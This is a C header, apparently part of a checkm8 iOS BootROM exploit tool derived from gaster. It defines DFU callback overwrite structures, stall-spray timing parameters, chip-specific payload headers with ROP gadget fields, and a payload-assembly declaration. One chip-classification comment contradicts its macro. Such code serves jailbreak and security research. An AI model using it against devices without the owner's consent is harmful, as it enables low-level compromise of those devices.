/* checkm8_internal.h -- Shared constants, types, and helpers for checkm8 */ #ifndef CHECKM8_INTERNAL_H #define CHECKM8_INTERNAL_H #include #include "exploit/exploit.h" /* ------------------------------------------------------------------ */ /* Magic constants from gaster */ /* ------------------------------------------------------------------ */ #define EXEC_MAGIC 0x6578656365786563ULL /* "execexec" */ #define MEMC_MAGIC 0x6D656D636D656D63ULL /* "memcmemc" */ #define DONE_MAGIC 0x646F6E65646F6E65ULL /* "donedone" */ /* ------------------------------------------------------------------ */ /* DFU transfer constants */ /* ------------------------------------------------------------------ */ #define DFU_FILE_SUFFIX_LEN 16 #define DFU_MAX_TRANSFER_SZ 0x800 #define EP0_MAX_PACKET_SZ 0x40 /* ------------------------------------------------------------------ */ /* Exploit tuning parameters */ /* ------------------------------------------------------------------ */ #define MAX_EXPLOIT_TRIES 3 #define STAGE_DELAY_USEC 10000 /* 10 ms */ #define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ #define USB_TIMEOUT_MS 5000 /* ------------------------------------------------------------------ */ /* CPID classification helpers */ /* ------------------------------------------------------------------ */ /* ARMv7 32-bit chips (payload_dest_armv7 != 0) */ #define CPID_IS_ARMV7(cpid) \ ((cpid) == 0x7002 || (cpid) == 0x8002 || (cpid) == 0x8004 || \ (cpid) == 0x8950 || (cpid) == 0x8955) /* * CPID_IS_LEGACY_64 -- ARM64 chips that use payload_hdr_a9_t (the simpler * 64-bit header without ROP gadgets or tlbi). This groups A7 (0x8947) with * the A9-family (0x8000, 0x8003) which share the same header layout. * Note: 0x8950 and 0x8955 are 32-bit ARMv7 chips; they belong in * CPID_IS_ARMV7, not here. */ #define CPID_IS_LEGACY_64(cpid) \ ((cpid) == 0x8947) /* Chips with ROP gadgets (tlbi != 0 means newer overwrite path) */ #define CPID_HAS_TLBI(chip) ((chip)->tlbi != 0) /* ------------------------------------------------------------------ */ /* DFU callback overwrite structures (from gaster) */ /* ------------------------------------------------------------------ */ /* 64-bit ARM64 DFU callback */ typedef struct { uint32_t endpoint; uint32_t pad_0; uint64_t io_buffer; uint32_t status; uint32_t io_len; uint32_t ret_cnt; uint32_t pad_1; uint64_t callback; uint64_t next; } dfu_callback_t; /* 32-bit ARMv7 DFU callback */ typedef struct { uint32_t endpoint; uint32_t io_buffer; uint32_t status; uint32_t io_len; uint32_t ret_cnt; uint32_t callback; uint32_t next; } dfu_callback_armv7_t; /* Overwrite payload wrapper */ typedef struct { dfu_callback_t callback; } checkm8_overwrite_t; /* ------------------------------------------------------------------ */ /* Payload header structures (chip-specific, prepended to shellcode) */ /* ------------------------------------------------------------------ */ /* ARM64 payload header for A9-class chips (with TTBR0 modification) */ typedef struct { uint64_t insecure_memory_base; uint64_t patch_addr; uint64_t memcpy_addr; uint64_t aes_crypto_cmd; uint64_t boot_tramp_end; uint64_t gUSBSerialNumber; uint64_t dfu_handle_request; uint64_t usb_core_do_transfer; uint64_t dfu_handle_bus_reset; uint64_t handle_interface_request; uint64_t usb_create_string_descriptor; uint64_t usb_serial_number_string_descriptor; uint64_t ttbr0_addr; uint64_t ttbr0_vrom_off; } payload_hdr_a9_t; /* ARM64 payload header for A10+ chips (with ROP gadgets) */ typedef struct { uint64_t insecure_memory_base; uint64_t patch_addr; uint64_t memcpy_addr; uint64_t aes_crypto_cmd; uint64_t boot_tramp_end; uint64_t gUSBSerialNumber; uint64_t dfu_handle_request; uint64_t usb_core_do_transfer; uint64_t dfu_handle_bus_reset; uint64_t handle_interface_request; uint64_t usb_create_string_descriptor; uint64_t usb_serial_number_string_descriptor; uint64_t ttbr0_addr; uint64_t tlbi; uint64_t nop_gadget; uint64_t ret_gadget; uint64_t func_gadget; uint64_t write_ttbr0; uint64_t ttbr0_vrom_off; uint64_t ttbr0_sram_off; } payload_hdr_notA9_t; /* ARMv7 payload header for 32-bit chips */ typedef struct { uint32_t insecure_memory_base; uint32_t payload_dest; uint32_t memcpy_addr; uint32_t aes_crypto_cmd; uint32_t gUSBSerialNumber; uint32_t dfu_handle_request; uint32_t usb_core_do_transfer; uint32_t dfu_handle_bus_reset; uint32_t handle_interface_request; uint32_t usb_create_string_descriptor; uint32_t usb_serial_number_string_descriptor; } payload_hdr_armv7_t; /* ------------------------------------------------------------------ */ /* Internal API */ /* ------------------------------------------------------------------ */ /* * assemble_payload -- Build the exploit payload (header + shellcode) * for the given context's chip. Allocates ctx->payload_buf. * Returns 0 on success, -1 on failure. */ int assemble_payload(exploit_ctx_t *ctx); /* * usb_ctrl_transfer_async -- Send a control transfer with a short * timeout, ignoring timeout errors. Used for stall-based spray. * Returns 0 on success or timeout, -1 on hard failure. */ int usb_ctrl_transfer_async(libusb_device_handle *dev, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, unsigned char *data, uint16_t wLength, unsigned int timeout_ms); #endif /* CHECKM8_INTERNAL_H */